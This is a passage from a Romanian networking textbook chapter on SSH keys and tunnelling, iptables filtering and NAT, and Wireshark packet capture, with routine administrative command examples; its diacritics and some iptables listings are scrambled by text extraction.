Transferarea unei conexiuni TCP/IP prin canalul sigur oferit de SSH poate fi specificat fie din linia de comand, fie din fiierele de configurare. O aplicaie posibil a redirectrii TCP/IP este trecerea de un firewall n vederea citirii potei electronice. Utilitarul ssh menine i verific automat o baz de date cu identificrile bazate pe RSA ale tuturor mainilor pe care utilizatorul s-a conectat. Baza de date este inut n .ssh/known_hosts. Dac informaia de identificare a unui server se schimb, ssh afieaz un avertisment i nu permite autentificarea utilizatorului pentru a preveni un atentat la parola lui. Opiunea StrictHostKeyChecking poate fi folosit pentru a preveni autentificrile pe maini ale cror chei nu sunt cunoscute sau care au fost schimbate.

213 | S e c u r i t a t e i m o n i t o r i z a r e

6.1.3.2 Generarea cheilor SSH


Aa cum se observ i n etapa de instalare a serverului, este necesar generarea unei perechi de chei (public/privat). n cazul n care se dorete s se creeze o nou pereche de chei, se folosete utilitarul ssh-keygen. Cu ajutorul acestui utilitar se creeaz dou fiiere, unul pentru fiecare cheie. Implicit, n fiierul ~/.ssh/id_rsa este pstrat cheia privat, iar n fiierul ~/.ssh/id_rsa_pub cheia public. Deoarece cheia privat nu trebuie inut la vedere, ssh-keygen ofer posibilitatea introducerii unei parole (passphrase), ce va proteja fiierul n care se pstreaz aceasta.
root@myr:~# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: bc:14:cc:41:ca:bc:b6:a2:10:63:19:cd:fc:68:da:32 root@ubuntu root@ubuntu:~#

n cazul n care se dorete schimbarea passphrase-ului se poate folosi opiunea p:


root@myr:~# ssh-keygen -p Enter file in which the key is (/root/.ssh/id_rsa): Enter old passphrase: Key has comment '/root/.ssh/id_rsa' Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase.

6.1.3.3 Conectare fr parol


Dac se deschid sesiuni SSH frecvente cu diferite staii ce ofer autentificare prin chei, se poate folosi utilitarul ssh-agent. Acesta se ocup de gestionarea i stocarea cheilor private. Pentru conectarea fr parol pe serverul la distan, utilizatorul trebuie s i copieze cheia public n fiierul $HOME/.ssh/authorized_keys, aflat pe server.
root@myr:~# ssh-copy-id -i /root/.ssh/id_rsa.pub student@localhost 21 student@localhost's password: Now try logging into the machine, with "ssh 'student@localhost'", and check in: .ssh/authorized_keys to make sure we haven't added extra keys that you weren't expecting.

Dup ce se realizeaz acest lucru, trebuie activat serviciul de stocare a cheilor private (ssh-agent) i apoi adugate cheile n acesta (ssh-add). Pentru adugarea cheilor private va trebui introdus passphrase-ul fiecreia, astfel nct accesul s fie permis pentru adugarea lor n fiierul ~/.ssh/id_rsa. n urma acestor pai, conectarea se va face automat, fr nevoia introducerii unei parole.
root@myr:~# ssh-agent SSH_AUTH_SOCK=/tmp/ssh-nWcDud7170/agent.7170; export SSH_AUTH_SOCK; SSH_AGENT_PID=7171; export SSH_AGENT_PID; echo Agent pid 7171; root@ubuntu:~# ssh-add Enter passphrase for /root/.ssh/id_rsa: Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)

root@myr:~# ssh student@localhost Linux ubuntu 2.6.15-26-386 # 1 PREEMPT Thu Aug 3 02:52:00 UTC 2006 i686 GNU/Linux The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Sep 18 14:55:00 2007 from localhost

214 | R e e l e L o c a l e

6.1.3.4 Tunelare trafic printr-o conexiune SSH


Tunelarea SSH reprezint folosirea protocolului SSH i a capabilitilor acestuia, pentru a securiza un transfer de date. Pentru crearea unui tunel SSH, clientul SSH este configurat s redirecteze un port specificat i o adres IP (existente pe serverul SSH la distan) pe un port al staiei locale. Odat ce conexiunea SSH a fost stabilit, utilizatorul se poate conecta la portul local pentru accesarea serviciilor aflate pe staia la distan (pe serverul SSH), servicii ce altfel ar fi putut fi accesibile prin conectarea direct pe portul i adresa IP a staiei la distan. Cu alte cuvinte, aceast metod poate fi vzut ca o ncercare de ocolire a firewall-urilor, ce filtreaz anumite servicii Internet. Pentru a ilustra ct mai bine cele menionate mai sus se consider urmtorul scenariu. Un utilizator obinuit dorete s i citeasc email-ul, folosind un client de email (Thunderbird, fetchmail, mutt, Outlook etc.). Dac utilizatorul se conecteaz direct la serverul de e-mail, clientul de e-mail va trimite numele de utilizator i parola n text clar. Acest lucru reprezint o mare vulnerabilitate n cazul n care un intrus ascult cu un sniffer mediul. Pentru prevenirea acestui atac se pot folosi capabilitile de tunelare oferite de SSH. Un tunel SSH va fi folosit n modul urmtor: n loc s se realizeze conectarea direct la serverul de e-mail, se va stabili o conexiune SSH ctre un server din interiorul reelei n care respectivul server de e-mail se afl, sau direct ctre serverul nsui (aa cum se ntmpl cel mai adesea, cnd serverul de e-mail ofer i serviciu SSH). Clientul SSH va realiza redirectarea portului, astfel nct traficul ce ajunge la staia local pe portul 110 (portul implicit folosit de clientul de email), ajunge s fie redirectat prin tunelul criptat ctre serverul de e-mail. Apoi clientul de email poate fi configurat s utilizeze portul local, fiind pus astfe n legtur cu serverul de la distan. Exemplul urmtor ilustreaz snecariul discutat:
root@myr:~# ssh L 110:mailhost:110 -l user -N mailhost

mailhost reprezint numele serverului de email, 110 este portul implicit pe care ascult clientul de email, user este numele de utilizator i opiunea N specific doar redirectarea portului, fr executarea de comenzi. Un alt exemplu poate fi urmtorul:
root@myr:~# ssh -L 7777:work:22 -l user gate

Regula de mai sus poate fi interpretat astfel: se deschide o sesiune SSH a utilizatorului user, pe staia gate. Ct timp sesiunea rmne deschis, toate conexiunile ctre portul 7777 de pe staia local sunt redirectate ctre portul 22 de pe staia work. Pentru conectarea prin tunel se specific portul local 7777.
root@myr:~# ssh p 7777 localhost

Opiunea L va spune staiei gate c de fiecare dat cnd va primi date venind cu un marcaj de tunel, s deschid o sesiune pe portul 22 pe staia work i s trimit respectivele date. Toate datele sunt transmise staiei gate cu un port surs aleator (ex: 2002) i cu un marcaj de tunel. Cu alte cuvinte, staia local accept conexiuni pe portul 7777 i trimite toate datele pe portul 2002 staiei gate, spunndu-i c acestea provin de la tunelul 7777.

215 | S e c u r i t a t e i m o n i t o r i z a r e

6-2: Tunelare SSH Pentru a exemplifica lucrurile menionate pn acum, n seciunea de mai jos este prezentat modul n care se poate realiza un tunel SSH.
root@myr:~# ssh -L 7777:anaconda.cs.pub.ro:22 -l cico anaconda.cs.pub.ro Password: Last login: Sat Sep 22 13:30:01 2007 from 86.120.171.63 Linux anaconda 2.6.18-4-686 # 1 SMP Wed May 9 23:03:12 UTC 2007 i686 [....] anaconda:~#

Astfel se realizeaz deschiderea tunelului pe staia anaconda.cs.pub.ro. Toate conexiunile acum vor fi redirectate prin portul 7777. Se verific i deshiderea acestuia pe staia local.
root@myr:/etc/ssh# nmap -p 7775-7778 localhost Starting Nmap 4.03 (http://www.insecure.org/nmap/) at 2007-09-22 14:03EEST Interesting ports on localhost (127.0.0.1): PORT STATE SERVICE 7775/tcp closed unknown 7776/tcp closed unknown 7777/tcp open unknown 7778/tcp closed unknown Nmap finished: 1 IP address (1 host up) scanned in 0.057 seconds

Dup ce sa confirmat c portul 7777 a fost deschis, se poate realiza o conexiune prin tunelul SSH deschis.
root@myr:/root/.ssh# ssh -p 7777 -l cico localhost Password: Last login: Sat Sep 22 13:58:01 2007 from 86.121.174.62 Linux anaconda 2.6.18-4-686 # 1 SMP Wed May 9 23:03:12 UTC 2007 i686 [....] Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

6.2 Firewall
Probabil c cel mai cunoscut dispozitiv de securitate este firewall-ul. Prin definiie, firewall-ul este un sistem sau un grup de sisteme care implementeaz politica de acces ntre dou sau mai multe reele. Firewall-urile pot fi clasificate n patru mari clase: firewall-uri dedicate, firewall-uri integrate n routere, firewall-uri integrate n servere i firewall-uri personale. Firewall-urile dedicate sunt maini ce ruleaz un sistem de operare special conceput pentru filtrarea de pachete i translatarea de adrese. Exemple de astfel de firewall-uri sunt sistemele PIX sau CheckPoint. Aceste sisteme sunt capabile s susin un numr mare de conexiuni, dar facilitile de rutare sunt extrem de limitate. Pentru o reea simpl se poate folosi firewall-ul ca router, ns pentru reele mai complexe este necesar un router. Firewall-urile integrate n routere sunt folosite pentru a nltura neajunsul anterior. Ele nu pot susine acelai numr de conexiuni, dar se descurc mai bine n topologii mai complexe,

216 | R e e l e L o c a l e

unde este nevoie de facilitile unui router. Multe produse ofer faciliti de firewall integrate n routere, de la module de firewall pentru routere high-end, pn la routerele extrem de compacte, dedicate utilizrii n reele SOHO1. Firewall-urile de server sunt implementate ca un software adiional peste un sistem de operare de reea (Linux, NT, Win2K, Novell, UNIX). Exemple de astfel de pachete software sunt: Netfilter, Microsoft ISA Server, Novell Border Manager. Ele sunt comparabile ca faciliti i performane cu firewall-urile integrate n routerele de nivel mediu. Firewall-urile personale sunt instalate pe calculatoarele personale. Ele sunt concepute pentru a preveni atacuri doar asupra calculatorului pe care ruleaz. Este important de reinut c aceste tipuri de firewall-uri nu sunt optimizate pentru reele ntregi de calculatoare. Exemple de firme ce produc firewall-uri personale sunt McAfee i Symantec. Principalele mecanisme prin care un firewall asigur protecia reelei sunt filtrarea de pachete i translatarea de adrese, care vor fi analizate mai pe larg n continuare.

6.2.1 Filtrarea de pachete


Filtrarea de pachete este procesul prin care doar anumite pachete sunt rutate dintr-o reea n alta, pe baza unor reguli. Filtrarea de pachete opereaz tradiional cu informaii de la nivelurile OSI 3 i 4. Regulile de filtrare sunt formate dintr-o parte care identific pachetul i o parte care specific cum s se trateze pachetul. n partea de identificare se poate specifica adresa surs, adresa destinaie, adresa de reea surs, adresa de reea destinaie, protocolul (TCP, UDP, ICMP), portul surs sau destinaie (doar pentru TCP sau UDP), tipul mesajului (pentru ICMP), interfaa de intrare sau ieire, i chiar i adresele de nivel doi. n principiu se poate face identificarea pachetului cu orice informaie scris n antetul pachetului, la nivelul OSI 3, 4 sau chiar i 2, n funcie de implementare. Partea de tratare a pachetului specific ce anume trebuie fcut cu pachetele selectate de o regul. Pentru filtrare exist n general trei posibiliti de tratare: acceptare, ignorare sau respingere. n cazul acceptrii, pachetul este lsat s treac. n cazul ignorrii pachetului nu este lsat s treac i nu se trimite notificare ctre surs. n cazul respingerii, pachetul nu este lsat s treac, dar se trimite notificare ctre surs (un mesaj ICMP al crui tip poate fi, n unele implementri, ales de cel care construiete regula; de cele mai multe ori se folosete un mesaj ICMP de tip port-unreachable).

6.2.1.1 Utilitarul iptables


Iptables este utilitarul cu ajutorul cruia se pot configura politica i regulile de filtrare de pachete sau translatare de adrese pentru Linux 2.4. Acesta face parte din proiectul Netfilter, care implementeaz n Linux filtrarea de pachete i translatarea de adrese. n iptables o regul are dou pri: o parte care identific pachetele i una care specific cum trebuie tratate pachetele respective (partea int). Procesarea regulilor se face secvenial ncepnd cu prima regul. Dac pentru un pachet ce traverseaz sistemul regula curent este valid se va execut aciunea asociat intei. Dac nu, se trece la urmtoarea regul. Dac s-au epuizat toate regulile dintr-un lan definit de utilizator sau dac inta este RETURN, se continu analizarea regulilor din lanul precedent. Dac s-au epuizat toate regulile dintr-un lan predefinit, se execut aciunea asociat politicii implicite a lanului.

Small Office Home Office

217 | S e c u r i t a t e i m o n i t o r i z a r e

Pachetul poate fi identificat dup adresa surs, adresa destinaie, tipul pachetului, portul (TCP, UDP) sau tipul mesajului (ICMP), interfaa pe care intr/iese pachetul, dac este fragment dintr-un pachet, dac este pachet care iniiaz o conexiune (TCP). Lanurile sunt seturi de reguli prin intermediul crora se determin ce aciune trebuie luat asupra unui pachet. Pentru fiecare dintre tabelele definite ( filter, nat, mangle) exist lanuri implicite (INPUT, OUTPUT, FORWARD, PREROUTING, POSTROUTING) ce asigur o structur distribuit a regulilor. Cu alte cuvinte, lanurile predefinite nu caracterizeaz o singur tabel, tabelele mprind unul sau mai multe lanuri. De exemplu, lanul de OUTPUT aparine att tabelei filter ct i tabelei nat. La fel, lanul de INPUT aparine att tabelei filter ct i tabelei mangle. Cnd un pachet ajunge la o staie ce implementeaz o astfel de politic (bazat pe iptables), vor trebui luate anumite decizii asupra acestuia, realizndu-se analiza fiecrui lan menionat mai sus. n figura de mai jos se ilustreaz modul n care se va face verificarea fiecrui lan.
PREROUTING INPUT Internet Decizie de rutare ? FORWARD ? OUTPUT Internet POSTROUTING

Proces intern

Decizia de rutare

6-3: Fluxul pachetelor prin lanurile predefinite


PREROUTING INPUT FORWARD OUTPUT POSTROUTING

nat mangle filter

X X

X X

X X

X X X

X X

6-4: Asocierea dintre tabele i lanuri la iptables

6.2.1.2 Filtrarea de pachete folosind iptables


Pentru filtrarea de pachete se folosete tabela filter. Pentru aceast tabel exist trei lanuri predefinite: INPUT - pachete ce sunt destinate routerului, OUTPUT - pachete generate de router, i FORWARD - pachete care sunt rutate (pachete care nici nu sunt generate de router, nici nu sunt destinate routerului). intele ce pot fi folosite sunt ACCEPT - pachetele sunt lsate sa treac, DROP - pachetele sunt ignorate, QUEUE - pachetele sunt copiate n user-space pentru analize, i LOG - pachetele sunt scrise n log. Se poate folosi de asemenea i REJECT pentru a respinge pachetele. La aceast int se poate specifica tipul mesajului icmp folosit pentru notificare cu opiunea --reject-with. Pentru a ilustra mai bine lucrurile menionate mai sus fie urmtoarea regul:
iptables t filter -A INPUT -s 10.0.0.0/8 -p icmp -j DROP

218 | R e e l e L o c a l e

Regula de mai sus poate fi interpretat n modul urmtor: toate pachetele ce sunt destinate staiei locale, ce au adresa IP surs n reeaua 10.0.0.0/8 i sunt de tip ICMP, nu vor fi acceptate. Opiunea t precizeaz tabela, n cazul de fa filter, -A (append) specific adugarea regulii lanului de INPUT, -s specific adresa IP surs a pachetelor, -p protocolul folosit, iar j (jump) precizeaz aciunea ce va trebui ndeplinit n cazul n care pachetele se ncadreaz n regula respectiv. n exemplul de mai jos este prezentat configurarea iptables pentru filtrare de pachete pe maina 141.85.37.1 din reeaua 141.85.37.0/24. Aceast main este router, firewall, server de web, server de e-mail i server de DNS i are conectat reeaua intern pe interfaa eth0 i legtura la Internet pe interfaa eth1.
iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables -t -t -t -t -t -t -t -t -t -t -t -t -t -t filter filter filter filter filter filter filter filter filter filter filter filter filter filter -A -A -A -A -A -A -A -A -A -A -A -A -A -A INPUT INPUT INPUT INPUT INPUT INPUT INPUT INPUT INPUT -s -s -p -p -p -p -p -p -j 192.168.0.0/16 -j DROP 10.0.0.0/8 -j DROP tcp --destination-port tcp --destination-port tcp --destination-port tcp --destination-port udp --destination-port tcp ! --syn -j ACCEPT REJECT 22 80 25 53 53 -j -j -j -j -j ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT

FORWARD FORWARD FORWARD FORWARD FORWARD

-s 192.168.0.0/16 -j DROP -s 10.0.0.0/8 -j DROP -i eth1 -s 141.85.37.0/24 -j ACCEPT -i eth0 -p tcp ! --syn -j ACCEPT - j REJECT

iptables -t filter -A OUTPUT -s 192.168.0.0/16 -j DROP iptables -t filter -A OUTPUT -s 10.0.0.0/8 -j DROP

Configurarea pentru pachetele ce sunt destinate mainii (lanul INPUT) conine reguli pentru filtrarea pachetelor cu adrese private (pentru a evita atacurile ce folosesc falsificare adreselor IP), iar apoi reguli pentru accesarea serviciilor ce ruleaz pe main: serverul de ssh, serverul de web, serverul de e-mail, serverul de DNS. Penultima regul este necesar dac dorim s putem accesa de pe server Internetul sau reeaua local. Regula va opri ncercrile de conectare la server, dar va lsa pachetele de rspuns s se ntoarc la server. Configurarea pentru pachetele ce trebuie rutate (lanul FORWARD) ncepe cu dou reguli pentru filtrarea pachetelor cu adrese private. Urmtoarea regul accept toate pachetele ce vin din reeaua intern i au adrese corecte (pentru a preveni atacuri ce folosesc falsificarea adresei IP iniiate din interiorul reelei). Urmtoarea regul accept pachetele din Internet ce sunt replici la traficul iniiat din interior, dar nu i pachetele de iniiere a unor conexiuni ctre reeaua intern. n fine, configurarea pentru pachetele generate de server conine reguli pentru filtrarea adreselor private, pentru a evita folosirea serverului n atacuri ce falsific adresa IP.

6.2.2 Translatarea de adrese


Translatarea de adrese sau NAT (Network Address Translation) este procesul prin care se modific adresele surs (SNAT) sau destinaie (DNAT) din anumite pachete care trec prin firewall. Din punctul de vedere al securitii, translatarea de adrese se folosete pentru a ascunde modul de adresare intern i pentru a evita accesarea staiilor interne din exterior, prin folosirea unor adrese private n reeaua intern, adrese ce vor fi translatate la adrese publice pentru ca staiile interne s aib acces la Internet. Putem considera c translatarea adreselor este o funcie definit pe o mulime de adrese (A) cu rezultate ntr-o alt mulime de adrese (B). Astfel, fiecare pachet cu o adres surs sau destinaie din mulimea A va fi nlocuit cu o adres din mulimea B. Se spune c se realizeaz o translatare de adrese static dac funcia de translatare este injectiv, adic fiecrei adrese din mulimea A i corespunde o singur adres corespunztoare n mulimea B. Dac funcia de

219 | S e c u r i t a t e i m o n i t o r i z a r e

translatare nu este injectiv, adic dac pentru mai multe adrese din mulimea A corespunde o singur adres din mulimea B, aceasta poart denumirea de translatare de adrese dinamic. Avantajul folosirii translatrii de adrese dinamice const n faptul c se pot partaja adrese rutabile disponibile. Astfel, calculatoarelor din reeaua local li se aloc adrese private, iar routerul (firewall-ul) va face o translatare de adrese dinamic din mulimea de adrese private n mulimea de adrese publice. Se observ ns c aceast abordare permite ca doar Card(B) calculatoare din reeaua local s aib conversaii simultane n Internet. O metod mai avansat de translatare de adrese o reprezint translatarea de adrese suprancrcat NAT overloaded, denumit uneori i PAT (Port Address Translation) sau masquerading. Aceast metod permite un numr de aproximativ 64000 de conversaii simultane de la orice host intern ctre exterior cu o singur adres extern. Implementarea nlocuiete pachetul din reeaua local cu adresa surs S, adresa destinaie D, portul surs P, portul destinaie Q, cu altul nou ce va avea adresa surs M (adresa routerului), adresa destinaie D, portul surs K. Portul destinaie nu se schimb. De asemenea se memoreaz asocierea (S,P) - K. Dac un pachet ajunge pe router din exterior, avnd adresa destinaie M, adresa surs Q i portul destinaie K, atunci acest pachet va fi nlocuit cu un altul cu adresa destinaie S, adresa surs Q, portul destinaie P i va fi trimis n reeaua local. Portul surs nu se schimb.

6-5: NAT overloaded (PAT) Un caz special al PAT l reprezint redirectarea. n acest caz se va nlocui pachetul primit din reeaua local avnd adresa surs S, adresa destinaie D, portul P cu un altul avnd adresa surs S, adresa destinaie M (adresa routerului), portul R (portul n care se face redirectarea, specificat de utilizator). Redirectarea este n general folosit pentru a implementa un proxy transparent, caz n care pe routerul M portul R ascult un proxy configurat pentru proxy transparent.

6.2.2.1 Translatarea de adrese folosind iptables


Pentru translatarea de adrese se folosete tabela nat. n aceast tabel exist trei lanuri predefinite: PREROUTING - modific pachetul imediat ce acesta intr n router, nainte de a fi rutat, OUTPUT - modific pachetele generate local nainte ca acestea s intre n procesul de

220 | R e e l e L o c a l e

rutare, i POSTROUTING - modific pachetele ce urmeaz s plece din router, dup ce acestea au fost rutate. intele valide sunt ACCEPT, DROP, QUEUE, REJECT, LOG, SNAT, DNAT, MASQUARADE, REDIRECT. SNAT se folosete pentru a indica o translatare de adrese de tip PAT pe adresa surs. Adresa surs a pachetului va fi modificat la una din intervalul specificat prin opiunea --tosource. Cu aceeai opiune se poate specifica i intervalul n care se va alege portul surs cnd se face translatarea de adrese. Aceast int este valid numai n lanul POSTROUTING (i lanurile chemate din acest lan). DNAT se folosete pentru o translatare de adrese de tip PAT pe adresa destinaie. Adresa destinaie a pachetului va fi modificat la una din intervalul specificat prin opiunea --todestination. Aceast int este valid numai n lanurile PREROUTING i OUTPUT (i lanurile chemate din acest lan). MASQUERADE este echivalent cu SNAT. Adresa surs va fi nlocuit cu adresa setat a interfeei pe care va fi trimis pachetul. Trebuie folosit n loc de SNAT dac adresa la care se face translatarea este setat dinamic (prin DHCP de exemplu). REDIRECT se folosete pentru a redirecta pachetul, local, pe portul specificat de opiunea --to-port. Aceast int este valid numai n lanurile PREROUTING i OUTPUT. Pentru a evidenia mai bine lucrurile menionate mai sus pot fi analizate urmtoarele dou reguli:
iptables -t nat -A POSTROUTING -o eth1 s 192.168.0.0/24 -j SNAT --to-source 1.2.3.4 iptables -t nat -A PREROUTING i eth0 -d 14.15.16.17 -j DNAT --to-destination 192.168.100.1

Prima regul poate fi interpretat n felul urmtor: toate pachetele ce vin cu adresa IP surs din reeaua 192.168.0.0/24 vor fi trimise pe interfaa eth1 cu adresa IP surs 1.2.3.4, dup ce acestea vor fi rutate. Cea de-a doua regul va schimba adresa IP destinaie (14.15.16.17) a pachetelor ce intr pe interfaa eth0 cu adresa IP 192.168.100.1, nainte ca acestea s fie rutate. n exemplul de mai jos s-a prezentat configurarea iptables pentru translatarea de adrese pe maina 141.85.37.1 din reeaua 192.168.1.0/24. Aceast main este doar router, iar serverul de web, serverul de mail i serverul de DNS ruleaz pe servere diferite, n reeaua intern. Routerul are conectat interfaa eth0 la reeaua intern i interfaa eth1 la Internet.
iptables -t nat -A POSTROUTING -o eth1 -s 192.168.1.0/24 -j SNAT --to-source 141.85.37.1 iptables -t nat destination 192.168.1.2 iptables -t nat destination 192.168.1.3 iptables -t nat destination 192.168.1.4 iptables -t nat destination 192.168.1.4 -A PREROUTING -i eth1 -p tcp --destination-port 80 -j DNAT --to-A PREROUTING -i eth1 -p tcp --destination-port 25 -j DNAT --to-A PREROUTING -i eth1 -p tcp --destination-port 53 -j DNAT --to-A PREROUTING -i eth1 -p udp --destination-port 53 -j DNAT --to-

Prima linie din exemplu este folosit pentru ca staiile din reea s poat accesa Internetul. La trecerea pachetelor prin router, adresa surs a staiilor (adres privat) va fi nlocuit cu adresa routerului (adres public). Urmtoarele linii vor trimite traficul de web, e-mail i DNS ctre serverele din interior. n acest context, din exterior, aparent routerul este i server de web, e-mail i DNS.

6.2.3 Configurri avansate iptables

6.2.3.1 Port forwarding


Ce se ntmpl dac dorim ca serviciile din reeaua intern, ce sunt fcute publice, s fie vzute din exterior ca rulnd pe porturi diferite fa de cele standard? Metoda ce poate fi aplicat aici se numete port forwarding. Aceast metod permite unei staii (firewall) s

221 | S e c u r i t a t e i m o n i t o r i z a r e

trimit cererile ce i sunt adresate, altei staii ce va procesa aceste cereri. Cel mai folosit mod de ntrebuinare al acestei metode este acela cnd serverele ruleaz pe staii aflate n reeaua intern (dup firewall). Cu alte cuvinte, se presupune existena unui gateway cu dou interfee, eth0 fiind conectat la reeaua intern i eth1 la Internet. Fie 141.85.37.1 adresa IP public a interfeei eth1 i 192.168.0.2 adresa IP a staiei pe care ruleaz un serviciu web, pe portul implicit 80, staie ce va putea fi accesat din exterior. n exemplul de mai jos se va face redirectarea conexiunilor ce vin pe 141.85.37.1:8888 (<IP_extern:port>) ctre 192.168.0.2:80 (IP_intern:port).
iptables -t nat -A PREROUTING -i eth1 -p tcp d 141.85.37.1 dport 8888 j DNAT -todestination 192.168.0.2:80

6.2.3.2 Alterarea avansat a pachetelor


Tabela mangle este folosit pentru a modifica pachetele ntr-un mod mai special. NAT modific doar adresele dintr-un pachet. Tabela mangle poate fi folosit pentru a schimba informaii precum TTL, TOS, sau pentru a marca un pachet. Marcarea pachetelor este folosit doar n interiorul routerului. Odat ce un pachet prsete routerul, informaiile adugate la marcare vor fi ndeprtate. n prezent marcarea pachetelor este folosit de ctre sistemul de Quality of Service (QoS). Exist trei lanuri predefinite: INPUT - modific pachetele destinate routerului, FORWARD modific pachetele n curs de rutare, i POSTROUTING - modific pachetele dup rutare. intele valide includ ACCEPT, DROP, QUEUE, REJECT, LOG precum i cele specifice tabelei, prezentate mai jos. MARK marcheaz pachetul cu valoarea specificat prin opiunea --set-mark. Pachetele marcate se pot folosi ulterior n procesul de rutare sau QoS. TOS seteaz cmpul de type of service la valoarea specificat prin opiunea --set-tos. TTL seteaz cmpul TTL la valoarea specificat prin opiunea --ttl-set, decrementeaz valoarea acestuia (dac se folosete opiunea --ttl-dec) sau incrementeaz valoarea acestuia (dac se folosete opiunea --ttl-inc). n exemplul de mai jos este prezentat un exemplu de alterare avansat a pachetelor, n care dou staii din reeaua intern, 141.85.37.13 i 141.85.37.169 pot accesa doar reeaua intern (reeaua departamentului) i reeaua imediat urmtoare (reeaua organizaiei).
iptables -t mangle -A FORWARD -s 141.85.37.13 -j TTL --ttl-set 2 iptables -t mangle -A FORWARD -s 141.85.37.169 -j TTL --ttl-set 2

6.3 Capturare pachetelor i analiza pachetelor. IDS/IPS.


Termenul de sniffing este unul din cele mai populare noiuni folosite n lumea administrrii reelelor. Sniffing este procesul prin care se captureaz i se analizeaz traficul ce traverseaz segmentul local Utilitarele folosite pentru captura de pachete au evoluat foarte mult de la nceputurile Internetului pn astzi. Plecnd de la capturarea n linie de comand, s-au dezolvoltat aplicaii complexe n GUI, care prezint coninutul pachetelor capturate ntr-o structura bine gndit si uor de interpretat. Una din aceste aplicaii se numete Wireshark.

6.3.1 Wireshark configurri de baz


Wireshark este o aplicaie gratuit realizat n cadrului unui proiect open-source, a crui rol principal este captura i analiza pachetelor din reea. Majoritatea administratorilor de reea cunosc Wireshark sub numele de Ethereal, pentru c pn n anul 2006 acesta era de

222 | R e e l e L o c a l e

fapt numele atribuit utilitarului. Trebuie specificat c nu se urmrete niciun fel de exagerare n afirmaia faptului c Wireshark este considerat mna dreapta a oricrui administrator. Cu ajutorul su se poate face inspecia la nivelul antentelor unui pachet i mai mult la nivel de stream TCP. Aplicaia se poate folosi att n scopuri administrative ct i n scopuri de troubleshooting pentru reea. Popularitatea acestei aplicaii este motivat de:
Un GUI intuitiv i uor de utilizat Modul facil de prezentare a informaiei Existena unor filtre complexe pe baza crora se poate izola traficul interesant

6.3.1.1 Instalarea Wireshark


Instalarea Wireshark se face cu ajutorul utilitarului apt.
waters@myr:/etc/apt$ sudo apt-get install wireshark

Wireshark se poate porni din linie de comand,


waters@myr:/etc/apt$ sudo wireshark &

sau, din interfaa grafic GNOME, din Applications > Internet > Wireshark. Atenie! Pentru a putea captura toate pachete, wireshark trebuie pornit ca root.

6.3.1.2 Pornirea unei capturi de pachete


Odat pornit, se poate porni captura de pachete pe una din interfeele active. Selecia interfeei i afiarea opiunilor de captur se face selectnd Capture > Capture Options.

6-6: Pornirea capturii de pachete

223 | S e c u r i t a t e i m o n i t o r i z a r e

Fereastra de opiuni conine urmtoarele setri:


Selectarea interfeei: se poate alege interfaa pe care s se fac captura dintr-o list aflat n partea de sus a ferestrei. Opiunea de a seta interfaa n modul promiscuous: modul acesta impune acceptarea i captura tuturor pachetelor, nu doar cele destinate staiei. Aceast opiune era folosit n trecut cnd huburile nc erau utilizate n topologii de reea. n prezent aceast opiune este redundant pentru reele cablate pentru c la nivelul doi ntr-o reea se va afla mereu un switch care nu permite alt trafic pe un segment, n afar de traficul destinat unei staii aflate pe acel segment. Totui, opiunea este extrem de util n cazul interfeelor wireless. Capture filter: acesta este cmpul n care se poate introduce un filtru de captur. Implicit, cnd se pornete o captur, se vor afia toate pachete ce ajung la interfaa de reea. Dac se folosete un filtru de captur, se poate impune o restricie asupra pachetelor ce se doresc capturate. Spre exemplu se pot captura doar pachetele cu un anumit IP surs, sau dup protocolul de nivel 4 folosit. Capture file: ofer posibilitatea de a salva captura ntr-un fiier pe disc. Acest fiier poate fi ncrcat ulterior i utilizat pentru aplicarea unor filtre de afiare (display filters).

Pentru a porni o captur simpl, se apas butonul de start din fereastra de opiuni. Odat pornit captura, fereastra principala a aplicaiei se va mpri n dou componente:
cadrul de listare a pachetelor capturate cadrul de inspectare a pachetelor capturate

Pentru a inspecta un pachet se selecteaz pachetul din cadrul de listare i apoi se navigheaz ntr-un arbore de antete n cadrul de inspectare.

6.3.1.3 Stream-uri TCP


Una din cele mai importante avantaje Wireshark, este c poate afia stream-uri TCP aa cum sunt vzute de ctre aplicaii. n mod implicit Wireshark prezint un stream de informaii pachet cu pachet, iar citirea unui ir de date poate fi destul de dificil, fiind nevoie s se navigheze prin fiecare pachet. Gruparea n stream TCP reconstruiete un ir de date, prezentnd informaia ntr-o structur grupat n ordinea numerelor de secven TCP. Pentru a realiza aceasta grupare n stream, trebuie dat clic dreapta pe un pachet TCP i selectat opiunea Follow TCP Stream.

6.3.1.4 Filtre
n afara cazului n care se dorete realizarea unei statistici precum cea descris mai sus, foarte rar va interveni situaia n care se va dori capturarea ntregului trafic. Motivul pentru acest lucru este cantitatea mare de trafic neinteresant. Mai ales pe wireless, doar protocolul n sine creeaz cam zece pachete pe secund prin folosirea de: beacon-uri, ack-uri i broadcasturi. Pentru ca este ineficient parcurgerea unei liste de captur foarte mare pentru a cuta pachetele dorite, Wireshark pune la dispoziie dou tipuri de filtre:
Filtrul de captur: se poate aplica din meniul de Capture Options i presupune o captur selectiv bazat pe regulile filtrului Filstrul de afiare: se aplic peste o captura deja efectuat. Este mai puternic dect filtrul de captur i este folosit mpreuna cu expresii regulate avansate pentru a gsi un anumit tip de pachete ntr-o captura salvat.

Aplicarea filtrelor de captur se face din meniul Capture Options. Se pot aplica mai multe filtre predefinite unei capturi ce urmeaz s fie fcut. Filtrele de afiare se invoc asemntor, asupra unei capturi deja realizate, din meniul Analyze > Display Filters.

224 | R e e l e L o c a l e

6.3.2 Wireshark configurri avansate


Wireshark include dou mini-limbaje diferite pentru crearea regulilor de filtrare. n cele ce urmeaz se vor analiza operatorii i sintaxa limbajul folosit pentru filtrele de afiare.

6.3.2.1 Realizarea filtrelor de afiare


